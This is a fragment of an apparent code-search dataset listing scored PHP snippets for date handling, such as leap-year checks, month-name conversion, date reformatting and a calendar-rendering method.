"text": "private function _getFebuary()\n\t\t{\n\t\t\tif((( $this->year % 4 == 0 ) && ( $this->year % 100 != 0 )) || ( $this->year % 400 == 0 )) return 29;\n\t\t\treturn 28;\n\t\t}", "title": "" }, { "docid": "677e6f1df6fc3022adbd9f6eb5e9d7fa", "score": "0.55263025", "text": "function mon_three($Tmonth) {\r\n switch ($Tmonth) {\r\n case 1:\r\n $MMM = langtransstr(\"Jan\");\r\n break;\r\n case 2:\r\n $MMM = langtransstr(\"Feb\");\r\n break;\r\n case 3:\r\n $MMM = langtransstr(\"Mar\");\r\n break;\r\n case 4:\r\n $MMM = langtransstr(\"Apr\");\r\n break;\r\n case 5:\r\n $MMM = langtransstr(\"May\");\r\n break;\r\n case 6:\r\n $MMM = langtransstr(\"Jun\");\r\n break;\r\n case 7:\r\n $MMM = langtransstr(\"Jul\");\r\n break;\r\n case 8:\r\n $MMM = langtransstr(\"Aug\");\r\n break;\r\n case 9:\r\n $MMM = langtransstr(\"Sep\");\r\n break;\r\n case 10:\r\n $MMM = langtransstr(\"Oct\");\r\n break;\r\n case 11:\r\n $MMM = langtransstr(\"Nov\");\r\n break;\r\n case 12:\r\n $MMM = langtransstr(\"Dec\");\r\n break;\r\n }\r\n return $MMM;\r\n}", "title": "" }, { "docid": "024a29f5dc8ef7e21e2d5061471aa53a", "score": "0.5525476", "text": "function date_spa_mon_abr($date){\n\t\t$divs = explode('-',$date);\n\t\treturn $divs[2].\"-\".$this->_meses_abr($divs[1]).\"-\".$divs[0];\n\t}", "title": "" }, { "docid": "4b0455b807f96f4f3b39f3511a1efe1f", "score": "0.5522795", "text": "function lib_date_db_to_standard($date) {\n # ymd = y=0, m=1, d=2\n $n = preg_split('#[/\\.-]#', $date);\n\n if (count($n) != 3) {\n return false;\n }\n\n return date(\"n/j/Y\", strtotime(\"{$n[1]}/{$n[2]}/{$n[0]}\"));\n}", "title": "" }, { "docid": "380b756e194a89cda65247db7987af78", "score": "0.5512919", "text": "static function cambiarFechaMDY($fecha){\r\n\t\tereg( \"([0-9]{2,4})-([0-9]{1,2})-([0-9]{1,2})\", $fecha, $mifecha);\r\n\t\t$lafecha=$mifecha[2].\"/\".$mifecha[3].\"/\".$mifecha[1];\r\n\t\treturn $lafecha;\r\n\t}", "title": "" }, { "docid": "1f60807bc45c3bb7bd36601c4c118001", "score": "0.5509179", "text": "function date_spa_single($date){\n\t\t$divs = explode('-',$date);\n\t\treturn $divs[2].\"/\".$divs[1].\"/\".$divs[0];\n\t}", "title": "" }, { "docid": "b026e01a41a45d301c4bb567e3fbc70b", "score": "0.549209", "text": "public function getArtmdiscdate3()\n {\n return $this->artmdiscdate3;\n }", "title": "" }, { "docid": "9da980a7209070f1d08c2752f692ca9d", "score": "0.54873997", "text": "function calculaedad($fechanac){\r\n list($ano,$mes,$dia) = explode(\"-\", $fechanac);\r\n $ano_diferencia = date(\"Y\") - $ano;\r\n $mes_diferencia = date(\"m\") - $mes;\r\n $dia_diferencia = date(\"d\") - $dia;\r\n if ($dia_diferencia < 0 || $mes_diferencia < 0)\r\n $ano_diferencia--;\r\n return $ano_diferencia;\r\n}", "title": "" }, { "docid": "d6e726e6bf689b5520ef4960c687175b", "score": "0.54864305", "text": "function get_days_in_month($month, $year)\n{\n // calculate number of days in a month\n return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\n}", "title": "" }, { "docid": "44bbff4c4e63d3b7ddbb3a004e2cc72e", "score": "0.54670453", "text": "function dcdateformat($entrydate) {\n\t$date = str_replace(\" \",\"T\",$entrydate);\n\t$date .= \"Z\";\n\treturn $date;\n}", "title": "" }, { "docid": "90285ce1cfb647d83c4233e2458222ad", "score": "0.5457136", "text": "function pubtime($vnam) {\r\n$ndm=preg_replace(\"'.*([0-9]{14})'\",\"$1\",$vnam);\r\n$atimes = str_split($ndm);\r\n$pdate = $atimes[6].$atimes[7].'.'.$atimes[4].$atimes[5].'.'.$atimes[0].$atimes[1].$atimes[2].$atimes[3].' '. $atimes[8].$atimes[9].':'.$atimes[10].$atimes[11].\":\".$atimes[12].$atimes[13];\r\nreturn $pdate;\r\nunset($atimes);\r\n}", "title": "" }, { "docid": "fd7f056e7a2a53b89455fab1dd680ad5", "score": "0.5457129", "text": "function formattd_post_date() {\n\t$mon = get_the_time('M');\n\t$day = get_the_time('d');\n\t$year = get_the_time('Y');\n\t\n\tprintf('<div class=\"post-date\"><span class=\"month\">%s</span><span class=\"day\">%s</span><span class=\"year\">%s</span></div>', $mon, $day, $year);\n}", "title": "" }, { "docid": "eba0ec850ab5090b29cee0d31a210406", "score": "0.5437111", "text": "function ActualDate()\n\t{\n\t\t//GLOBAL $SETTINGS;\n\n\t\t$month = date(\"m\");\n\t\tswitch($month)\n\t\t{\n\t\t\tcase \"01\":\n\t\t\t\t$month = \"Jan.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"02\":\n\t\t\t\t$month = \"Feb.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"03\":\n\t\t\t\t$month = \"Mar.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"04\":\n\t\t\t\t$month = \"Apr.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"05\":\n\t\t\t\t$month = \"May&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"06\":\n\t\t\t\t$month = \"Jun.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"07\":\n\t\t\t\t$month = \"Jul.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"08\":\n\t\t\t\t$month = \"Aug.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"09\":\n\t\t\t\t$month = \"Sep.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"10\":\n\t\t\t\t$month = \"Oct.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"11\":\n\t\t\t\t$month = \"Nov.&nbsp;\";\n\t\t\t\tbreak;\n\t\t\tcase \"12\":\n\t\t\t\t$month = \"Dec.&nbsp;\";\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$date = mktime(date(\"H\"),date(\"i\"),date(\"s\"),date(\"m\"),date(\"d\"),date(\"Y\"));\n\t\t//$year = date(\" Y, H:i:s\");\n\t\treturn $month.\"&nbsp;\".date(\"d, Y H:i:s\", $date);\n\t}", "title": "" }, { "docid": "078a3b86c69b102aedee7a6a713f7ec9", "score": "0.54368144", "text": "function folder_month_date($date)\n\t{\n\t\t$month_date\t\t= date(\"m\",(strtotime($date)));\n\t\treturn $month_date;\n\t}", "title": "" }, { "docid": "2529015dd3c495ab5fe1abcb0450028b", "score": "0.54279184", "text": "function dvanestiMesec($m){\n if($m%12==1){\n echo \"Januar.\";\n }elseif($m%12==2){\n echo \"Februar.\";\n }elseif($m%12==3){\n echo \"Mart.\";\n }elseif($m%12==4){\n echo \"April.\";\n }elseif($m%12==5){\n echo \"Maj.\";\n }elseif($m%12==6){\n echo \"Jun.\";\n }elseif($m%12==7){\n echo \"Jul.\";\n }elseif($m%12==8){\n echo \"Avgust.\";\n }elseif($m%12==9){\n echo \"Septembar.\";\n }elseif($m%12==10){\n echo \"Oktobar.\";\n }elseif($m%12==11){\n echo \"Novembar.\";\n }elseif($m%12==0){\n echo \"Decembar.\";\n }else{\n echo \"Pogresan unos.\";\n }\n }", "title": "" }, { "docid": "0c63baf5f12a22c5e451d0bf9cdb220a", "score": "0.542264", "text": "function openstate_thematic_postmeta_entrydate() {\r\n\t\r\n $entrydate .= '<span class=\"entry-date\"><abbr class=\"published\" title=\"';\r\n $entrydate .= get_the_time(thematic_time_title()) . '\">';\r\n $entrydate .= get_the_time(thematic_time_display());\r\n $entrydate .= '</abbr></span>';\r\n\t \r\n return apply_filters('thematic_post_meta_entrydate', $entrydate); \r\n }", "title": "" }, { "docid": "9466e08969faa5cd5777da707e94d54b", "score": "0.54224455", "text": "private function _data_first_month_day() {\r\n $month = date('m');\r\n $year = date('Y');\r\n return date('Y-m-d', mktime(0,0,0, $month, 1, $year));\r\n }", "title": "" }, { "docid": "60c4e34a97a122c55083326e9ef0191e", "score": "0.5410863", "text": "protected function fun3() { $year += 2; }", "title": "" }, { "docid": "ae8a3ed9182a5ee2611a44cb69f0c52c", "score": "0.54104793", "text": "function toDateYMD($date){\r\n\r\n\tif ($date != \"\"){\r\n\t\tlist ($d, $m, $y) = split ('[/]', $date);\r\n\t\t$dataformatada=\"$d-$m-$y\";\r\n\t\tif ($dataformatada!=\"--\"){\r\n\t\t\treturn \"$y-$m-$d\";\r\n\t\t}\r\n\t}\r\n\r\n\treturn \"\";\r\n}", "title": "" }, { "docid": "c58a352406b7d35830c89f2ad6d39230", "score": "0.54052275", "text": "function date_start_traco() {\r\n return date('d-m-Y', mktime(0, 0, 0, date('m') , 1 , date('Y')));\r\n }", "title": "" }, { "docid": "f1597b1410525696c823cbd7ab9d6f1d", "score": "0.5403226", "text": "function aujourdhui()\n{\n\treturn date(\"d/m/Y\");\n}", "title": "" }, { "docid": "475056591dedaa6769ba511eb96a17ad", "score": "0.54019433", "text": "function plus_months($month_count)\r\n {\r\n $result=new ec3_Date($this->year_num,$this->month_num,$this->day_num);\r\n $result->month_num += $month_count;\r\n if($month_count>0)\r\n {\r\n while($result->month_num>12)\r\n {\r\n $result->month_num -= 12;\r\n $result->year_num++;\r\n }\r\n }\r\n else\r\n {\r\n while($result->month_num<1)\r\n {\r\n $result->month_num += 12;\r\n $result->year_num--;\r\n }\r\n }\r\n return $result;\r\n }", "title": "" }, { "docid": "468c147a5f4112650a0572cb75d6a6e2", "score": "0.539895", "text": "function fecha_actual() {\n\treturn date(\"Y/m/d\");\n}", "title": "" }, { "docid": "f442cd522fa644054f64389ec22dd731", "score": "0.53958946", "text": "public function getArtmduedate3()\n {\n return $this->artmduedate3;\n }", "title": "" }, { "docid": "52d0d5baccc80f8b25c558fee076f64c", "score": "0.5388749", "text": "function strtoyears($text)\r\n{\r\n\tif(strtoupper($text) == 'N/A') return 'NULL';\r\n\t$now = strtotime('now');\r\n\treturn round( (strtotime('+'.$text,$now) - $now) / 60 / 60 / 24 / 365);\r\n}", "title": "" }, { "docid": "59677c005c3fd745b075f7d9d620d37e", "score": "0.5388652", "text": "function B2C($date) { // เปลี่ยนจาก พ.ศ เป็น ค.ศ.\r\n\tlist($d,$m,$y)=explode(\"-\",$date);\r\n\t$y-=543;\r\n\t$convertdate=$y.'-'.$m.'-'.$d;\r\n\treturn $convertdate;\r\n}", "title": "" }, { "docid": "0d8535a9d380acc43d6d6f987e53fbf7", "score": "0.5387723", "text": "function smarty_modifier_pubDate($fecha_hora)\r\n{\r\n\t$ano = substr($fecha_hora,0,4);\r\n\t$mes = substr($fecha_hora,5,2);\r\n\t$dia = substr($fecha_hora,8,2);\r\n\t$hora = substr($fecha_hora,11,2);\r\n\t$minuto = substr($fecha_hora,14,2);\r\n\t$segundo = substr($fecha_hora,17,2);\r\n\t$fecha = date(\"D, j M Y H:i:s\", mktime($hora, $minuto, $segundo, $mes, $dia, $ano));\r\n\t$fecha = $fecha.\" +0000\";\r\n\treturn $fecha;\r\n}", "title": "" }, { "docid": "36eb03f32b3d1cb7a6ecdf97ac186b0a", "score": "0.5387269", "text": "function short_date($date)\n\t{\n\t\treturn date(\"d M\",(strtotime($date)));\n\t}", "title": "" }, { "docid": "0817fc0a53f82d75a2e75e47a1fef311", "score": "0.53829616", "text": "function hoy(){\n $Fecha=date(\"Y\").\"-\".date(\"m\").\"-\".date(\"d\");\n return $Fecha;\n}", "title": "" }, { "docid": "7089709fa880c7b878578f92eb8fe4d6", "score": "0.5378689", "text": "function date_calc_quarter_of_year($day = 0, $month = 0, $year = 0) {\n if (empty($year)) {\n $year = date_calc_get_year();\n }\n if (empty($month)) {\n $month = date_calc_get_month();\n }\n if (empty($day)) {\n $day = date_calc_get_day();\n }\n $year_quarter = intval(($month - 1) / 3 + 1);\n return $year_quarter;\n}", "title": "" }, { "docid": "b9bbe9e690f9e187c836ed72abf4c69b", "score": "0.53724253", "text": "function date_spa_show($date){\n\t\t$xpl = explode('-',$date);\n\t //print_r($xpl);\n //[0] => 13 [1] => Sun [2] => 04 [3] => 2014\n\t \t$dia = $this->_dias_letters($xpl[1]);\n\t\t$mes = $this->_meses_numbers($xpl[2]);\n\t\t\n\t\treturn $dia.\", \".$xpl[0].\" de \".$mes.\" de \".$xpl[3];\n\t}", "title": "" }, { "docid": "4549db20304eba4a831efb6342272459", "score": "0.5359157", "text": "private static function expiration_date( $month, $year ) {\n\t\treturn sprintf( '%02d%04d', $month, $year );\n\t}", "title": "" }, { "docid": "82a2001f690af63b98e7ed056d2eb88d", "score": "0.53574437", "text": "function mon_no($Tmonth) {\r\n//English, Danish, Dutch, Finnish, French, German, German (Swiss), Italian, Norwegian, Polish, Spanish, Swedish\r\n//Strings for each month MUST start with x and be three characters long. Add to the end of the file. I did not\r\n//repeat the month abbreviation if it was the same as another language. Case matters!! \r\n $monthJan = \"xJanjantamjargenstyene\";\r\n $monthFeb = \"xFebfebhelfÚvlut\";\r\n $monthMar = \"xMarmarmaaMńrMer\"; \r\n $monthApr = \"xApraprhuhavrkwiabr\";\r\n $monthMay = \"xMaymajmeitoumaiMaimagmaj\";\r\n $monthJun = \"xJunjunkesjuigiucze\";\r\n $monthJul = \"xJuljulheijuiluglip\";\r\n $monthAug = \"xAugaugeloaoűagosieago\";\r\n $monthSep = \"xSepsepsyysetwrz\";\r\n $monthOct = \"xOctoktlokOktottpa?d\";\r\n $monthNov = \"xNovnovmarlis\";\r\n $monthDec = \"xDecdecjoudÚcDezdicdesgru\";\r\n $MMM = 0;\r\n //print \"[\" . $Tmonth . \"]\";\r\n //$Tmonth = trim($Tmonth);\r\n $Tmonth = substr($Tmonth, 0, 3);\r\n //print \"[\" . $Tmonth . \"]\";\r\n switch (FALSE) {\r\n case (strpos($monthJan, $Tmonth, 1) === False):\r\n $MMM = 1;\r\n break; \r\n case (strpos($monthFeb, $Tmonth, 1) === False):\r\n $MMM = 2;\r\n break; \r\n case (strpos($monthMar, $Tmonth, 1) === False):\r\n $MMM = 3;\r\n break; \r\n case (strpos($monthApr, $Tmonth, 1) === False):\r\n $MMM = 4;\r\n break; \r\n case (strpos($monthMay, $Tmonth, 1) === False):\r\n $MMM = 5;\r\n break; \r\n case (strpos($monthJun, $Tmonth, 1) === False):\r\n $MMM = 6;\r\n break; \r\n case (strpos($monthJul, $Tmonth, 1) === False):\r\n $MMM = 7;\r\n break; \r\n case (strpos($monthAug, $Tmonth, 1) === False):\r\n $MMM = 8;\r\n break; \r\n case (strpos($monthSep, $Tmonth, 1) === False):\r\n $MMM = 9;\r\n break; \r\n case (strpos($monthOct, $Tmonth, 1) === False):\r\n $MMM = 10;\r\n break; \r\n case (strpos($monthNov, $Tmonth, 1) === False):\r\n $MMM = 11;\r\n break; \r\n case (strpos($monthDec, $Tmonth, 1) === False):\r\n $MMM = 12;\r\n break; \r\n }\r\n return $MMM;\r\n}", "title": "" }, { "docid": "2f259e9ebc2bb520174d7ca7509833c9", "score": "0.5353558", "text": "function infdate($date)\r\n{\r\n include_once \"jdf.php\";\r\n return jdate(\"Y/m/d\", strtotime($date));\r\n}", "title": "" }, { "docid": "3a6ae5b99187b7c9acfdab6629c11d01", "score": "0.53529656", "text": "function smarty_modifier_quarterDate($string)\n{\n \n $month = date(\"n\",strtotime($string));\n $year = date(\"Y\",strtotime($string));\n \n if($month <= 12) {\n $quarter = 4;\n }\n \n if($month <= 9) {\n $quarter = 3;\n }\n \n if($month <= 6) {\n $quarter = 2;\n }\n \n if($month <= 3) {\n $quarter = 1;\n }\n \n \n return $quarter.'Q '.$year;\n \n}", "title": "" }, { "docid": "4cf2cd0d0d28ebe8005e4fc771d6f83a", "score": "0.5351768", "text": "function admnyeartoage($year) {\n return (date('Y') - $year + 18);\n}", "title": "" }, { "docid": "945cd3506794cade2a945bdea35c7036", "score": "0.5349014", "text": "function dateDisplay($dateVal) {\n if($dateVal == \"Nov 30, -0001\") {\n return \"<br>\";\n } else {\n return $dateVal;\n }\n }", "title": "" }, { "docid": "096c9ba2ab1b5c6114330193fd43f540", "score": "0.534869", "text": "function days_in_month($m,$y){\n $month=trim($m);$year=trim($y);\n $days = ($month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year %400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31));\n return $days;\n }", "title": "" }, { "docid": "0499163bcdd270cce6981e396d8267d1", "score": "0.53455436", "text": "function month_year_date($date)\n\t{\n\t\treturn date(\"F Y\",(strtotime($date)));\n\t}", "title": "" }, { "docid": "37ebf60ce1a0a20dd70c30a0b008bbf9", "score": "0.5341584", "text": "function ultimoDiaMes($x_fecha_f){\r\n\techo \"entra a ultimo dia mes con fecha \".$x_fecha_f.\"<br>\";\r\n\t\t\t\t\t$temptime_f = strtotime($x_fecha_f);\t\r\n\t\t\t\t\t$x_numero_dia_f = strftime('%d', $temptime_f);\r\n\t\t\t\t\t$x_numero_mes_f = strftime('%m', $temptime_f);\r\n\t\t\t\t\techo \"numero mes\".$x_numero_mes_f.\"<br>\";\r\n\t\t\t\t\t$x_numero_anio_f = strftime('%Y', $temptime_f);\r\n\t\t\t\t\t$x_ultimo_dia_mes_f = strftime(\"%d\", mktime(0, 0, 0, $x_numero_mes_f+2, 0, $x_numero_anio_f));\r\n\techo \"el ultimo dia de mes es\".\t$x_ultimo_dia_mes_f .\"<br>\";\t\r\n\t\r\n\tdie();\t\t\r\n\treturn $x_ultimo_dia_mes_f;\r\n}", "title": "" }, { "docid": "d3c1d188fcc077e19e530ee53960ed1d", "score": "0.53403986", "text": "function dateFormat($v) {\n\t\t// $theDate = date(\"Y-m-d\",strtotime($v));\t\t\t\t// 2014-10-31\n\t\t// $theDate = date(\"m-d-Y\",strtotime($v));\t\t\t\t// 10-31-2014\n\t\t$theDate = date(\"F d, Y\",strtotime($v));\t\t\t\t// October 31, 2014\n\t\treturn $theDate;\n\t}", "title": "" }, { "docid": "3f4487c440302b2d3c85cc42256770a6", "score": "0.53403753", "text": "function cal_days_in_month($calendar, $month, $year)\n{\n}", "title": "" }, { "docid": "9e8ec7b6c1e00d2f41a7acb667b146fb", "score": "0.5339495", "text": "function days_in_month($month, $year)\r\n\t{\r\n\t\t// calculate number of days in a month\r\n\t\treturn $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\r\n\t}", "title": "" }, { "docid": "1e52a0c61fbfb6b09ec37d867be5de7a", "score": "0.53386545", "text": "function month( $month, $year, $id = -1 )\n\t{\n\t\tglobal $cache, $db, $security, $basic_gui, $lang_loader;\n\t\t\n\t\tif ( $month > 12 )\n\t\t{\n\t\t\t$month = 1;\n\t\t\t$year++;\n\t\t}\n\t\t\n\t\t$calendar = '<table border=\"0\" padding=\"0\" width=\"100%\"><tr>';\n\t\t\n\t\tfor ( $i = 0; $i < 7; $i++ )\n\t\t{\n\t\t\t$calendar .= '<td class=\"day\"><b>' . $this->lang[ 'Day_' . $i ] .'</b></td>';\n\t\t}\n\t\t$calendar .= '</tr>';\n\t\t\n\t\t// create the calendar\n\t\t$lastday1 = date( 'j', mktime( 0, 0, 0, $month, 0, $year ) ); // last day of previous month\n\t\t$lastday2 = date( 'j', mktime( 0, 0, 0, ($month+1), 0, $year ) ); // last day of this month\n\t\t$starton = date( 'w', mktime( 0,0, 0, $month, 1, $year ) ); // month started on\n\t\t$starton -= 1;\n\t\t$starton = ( $starton == -1 ) ? 6 : $starton;\n\t\t$stopon = date( 'w', mktime( 0, 0, 0, ($month+1), 0, $year ) );\n\t\t$stopon -= 1;\n\t\t$stopon = ( $starton == -1 ) ? 6 : $stopon;\n\t\t$today = explode( '.', date( 'j.n.Y', EXECUTION_TIME ) );\n\t\t\n\t\t$rows = 0;\n\t\t\n\t\t// get the news for the needed timeframe\n\t\t$from = mktime( 0, 0, 0, $month-1, $lastday1-$starton, $year ); // first day on calendar\n\t\t$to = mktime( 23, 59, 59, $month+1, 6-$stopon, $year ); // last day on calendar\n\t\t$items = array();\n\t\t/*$sql = \"SELECT item_id, item_time_to_stamp, item_time_from_stamp, item_title FROM \" . SHOWEVENT_ITEM_TABLE . \" WHERE (\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"('$from' BETWEEN item_time_from_stamp AND item_time_to_stamp)OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"('$to' BETWEEN item_time_from_stamp AND item_time_to_stamp)OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"(item_time_from_stamp BETWEEN '$from' AND '$to')OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"(item_time_to_stamp BETWEEN '$from' AND '$to' )\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\") AND item_language='\" . $lang_loader->board_lang . \"' AND item_isdeleted=0\";*/\n\t\t$sql = \"SELECT i.item_id, i.item_time_to_stamp, i.item_time_from_stamp, i.item_title FROM \" . SHOWEVENT_ITEM_TABLE . \" i LEFT JOIN \" . \n\t\t\t\t\t\t\t\t\t\t\tSHOWEVENT_CAT2ITEM_TABLE . \" c2i ON i.item_id=c2i.item_id LEFT JOIN \" .\n\t\t\t\t\t\t\t\t\t\t\tSHOWEVENT_CATEGORY_TABLE . \" c ON c2i.cat_id=c.cat_id \" . \n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\" WHERE (\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"('$from' BETWEEN i.item_time_from_stamp AND i.item_time_to_stamp)OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"('$to' BETWEEN i.item_time_from_stamp AND i.item_time_to_stamp)OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"(i.item_time_from_stamp BETWEEN '$from' AND '$to')OR\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"(i.item_time_to_stamp BETWEEN '$from' AND '$to' )\" .\n\t\t\t\t\t\t\t\t\t\t\t\t\") AND i.item_language='\" . $lang_loader->board_lang . \"' AND i.item_isdeleted=0 \" .\n\t\t\t\t\t\t\t\t\t\t\t\t\"AND c.cat_parent <> 1 AND c.cat_parent <> 18\";\n\t\t\n\t\t$result = $db->sql_query( $sql );\n\t\twhile ( $row = $db->sql_fetchrow( $result ) )\n\t\t{\n\t\t\tfor( $t = $row[ 'item_time_from_stamp' ]; $t <= $row[ 'item_time_to_stamp' ]; $t += 50*60*24 )\n\t\t\t{\n\t\t\t\t$m = date( 'n', $t );\n\t\t\t\t$d = date( 'j', $t );\n\t\t\t\tif ( !isset( $items[ $m ] ) )\n\t\t\t\t{\n\t\t\t\t\t$items[ $m ] = array();\n\t\t\t\t}\n\t\t\t\tif ( !isset( $items[ $m ][ $d ] ) )\n\t\t\t\t{\n\t\t\t\t\t$items[ $m ][ $d ] = $row[ 'item_title' ] . '<br />';\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$items[ $m ][ $d ] .= $row[ 'item_title' ] . '<br />';\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\t\n\t\t$calendar .= '<tr>';\n\t\t$row = '';\n\t\tfor ( $i = 0, $j = $lastday1; $i < $starton; $i++, $j-- )\n\t\t{\n\t\t\tif ( $j == $today[ 0 ] && $month-1 == $today[ 1 ] && $year == $today[ 2 ] )\n\t\t\t{\n\t\t\t\t$class2 = 'today';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class2 = '';\n\t\t\t}\n\t\t\tif ( isset( $items[ $month-1 ][ $j ] ) )\n\t\t\t{\n\t\t\t\t$tooltip = $basic_gui->make_tooltip( $items[ $month-1 ][ $j ], 'buttontip' );\n\t\t\t\t$row = '<td class=\"dimday ' . $class2 . '\"><a href=\"#\" onclick=\"showinfo( ' . $j . ', ' . ($month-1) . ', ' . $year . ' ); return false\"><u>' . $j . '</u></a></td>' . $row;\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$row = '<td class=\"dimday ' . $class2 . '\">' . $j . '</td>' . $row;\n\t\t\t}\n\t\t}\n\t\tfor ( $i = 1; $i <= 6 - $starton + 1; $i++ )\n\t\t{\n\t\t\tif ( $i == $today[ 0 ] && $month == $today[ 1 ] && $year == $today[ 2 ] )\n\t\t\t{\n\t\t\t\t$class2 = 'today';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class2 = '';\n\t\t\t}\n\t\t\tif ( ($i+$starton) % 7 == 0 )\n\t\t\t{\n\t\t\t\t$class = 'class=\"sunday ' . $class2 . '\"';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class = ( empty( $class2 ) ) ? '' : 'class=\"' . $class2 . '\"';\n\t\t\t}\n\t\t\tif ( isset( $items[ $month ][ $i ] ) )\n\t\t\t{\n\t\t\t\t$tooltip = $basic_gui->make_tooltip( $items[ $month ][ $i ], 'buttontip' );\n\t\t\t\t$row .= '<td ' . $class . '><b><a href=\"#\" onclick=\"showinfo( ' . $i . ', ' . $month . ', ' . $year . ' ); return false\"><u>' . $i . '</u></a></b></td>';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$row .= '<td ' . $class . '><b>' . $i . '</b></td>';\n\t\t\t}\n\t\t}\n\t\t$calendar .= $row . '</tr><tr>';\n\t\t$rows++;\n\t\tfor ( $i = $i; $i <= $lastday2; $i++ )\n\t\t{\n\t\t\tif ( $i == $today[ 0 ] && $month == $today[ 1 ] && $year == $today[ 2 ] )\n\t\t\t{\n\t\t\t\t$class2 = 'today';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class2 = '';\n\t\t\t}\n\t\t\tif ( ($i+$starton) % 7 == 0 )\n\t\t\t{\n\t\t\t\t$class = 'class=\"sunday ' . $class2 . '\"';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class = ( empty( $class2 ) ) ? '' : 'class=\"' . $class2 . '\"';\n\t\t\t}\n\t\t\tif ( isset( $items[ $month ][ $i ] ) )\n\t\t\t{\n\t\t\t\t$tooltip = $basic_gui->make_tooltip( $items[ $month ][ $i ], 'buttontip' );\n\t\t\t\t$calendar .= '<td ' . $class . '><b><a href=\"#\" onclick=\"showinfo( ' . $i . ', ' . $month . ', ' . $year . ' ); return false\"><u>' . $i . '</u></a></b></td>';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$calendar .= '<td ' . $class . '><b>' . $i . '</b></td>';\n\t\t\t}\n\t\t\tif ( ($i+$starton) % 7 == 0 )\n\t\t\t{\n\t\t\t\t$calendar .= '</tr><tr>';\n\t\t\t\t$rows++;\n\t\t\t}\n\t\t}\n\t\tfor ( $i = 1; $i <= 6 - $stopon; $i++ )\n\t\t{\n\t\t\tif ( $i == $today[ 0 ] && $month+1 == $today[ 1 ] && $year == $today[ 2 ] )\n\t\t\t{\n\t\t\t\t$class2 = 'today';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$class2 = '';\n\t\t\t}\n\t\t\tif ( isset( $items[ $month+1 ][ $i ] ) )\n\t\t\t{\n\t\t\t\t$calendar .= '<td class=\"dimday ' . $class2 . '\"><a href=\"#\" onclick=\"showinfo( ' . $i . ', ' . ($month+1) . ', ' . $year . ' ); return false\"><u>' . $i . '</u></a></td>';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$calendar .= '<td class=\"dimday ' . $class2 . '\">' . $i . '</td>';\n\t\t\t}\n\t\t}\n\t\t$calendar .= '</tr>';\n\t\t$rows++;\n\t\t\n\t\tif ( $rows < 7 )\n\t\t{\n\t\t\t$row = '';\n\t\t\tfor( $i = 0; $i < 6-$rows; $i++ )\n\t\t\t{\n\t\t\t\t$row .= '<tr>';\n\t\t\t\tfor ( $j = 0; $j < 7; $j++ )\n\t\t\t\t{\n\t\t\t\t\t$row .= '<td></td>';\n\t\t\t\t}\n\t\t\t\t$row .= '</tr>';\n\t\t\t}\n\t\t\t$calendar .= \"$row\";\n\t\t}\n\t\t\n\t\t$calendar .= '<tr><td colspan=\"7\" class=\"title\">' . $this->lang[ 'Month_' . $month ] . '</td></tr>';\n\t\t\n\t\t$calendar .= \"</table>\";\n\t\t\n\t\tif ( $id == -1 )\n\t\t{\n\t\t\treturn $calendar;\n\t\t}else\n\t\t{\n\t\t\treturn array( $calendar, $id, $year, $month );\n\t\t}\n\t}", "title": "" }, { "docid": "316b0a93385bec7fb3efef7d26634910", "score": "0.5334966", "text": "function genespip_dateus($date) {\r\n\t\t$split = split('/',$date);\r\n\t\t$jour = $split[0];\r\n\t\t$mois = $split[1]; \r\n\t\t$annee = $split[2];\r\n\t\tif ($annee==NULL){$annee='0000';}\r\n\t\tif ($mois==NULL){$mois='00';}\r\n\t\tif ($jour==NULL){$jour='00';}\r\n\t\treturn $annee.'-'.$mois.'-'.$jour;\r\n\t}", "title": "" }, { "docid": "e1d234f687f50edad60d3125d380be2b", "score": "0.5334061", "text": "function parse_date($var){\n list($date,$time) = explode(\" \", $var);\n list($year,$month,$day) = explode(\"-\", $date);\n list($hour,$min,$sec) = explode(\":\", $time);\n\n $months = array(\"janv.\",\"Fev.\",\"mars\",\"avril\",\"mai\",\"juin\",\"juil\",\"aout\",\"sept.\",\"oct.\",\"nov.\",\"dec.\");\n $dte = \"le $day\".$months[$month-1].\" $year a ${hour}h ${min}m ${sec}s\";\n\nreturn $dte;\n\n}", "title": "" }, { "docid": "f89ceb44093de96ff1f6c642aefb413a", "score": "0.5331375", "text": "function dateUS($dateFR)\n{\n\t$split = explode(\"/\", $dateFR); //Array{20,08,1990}\n\t$jour = $split[0];\n\t$mois = 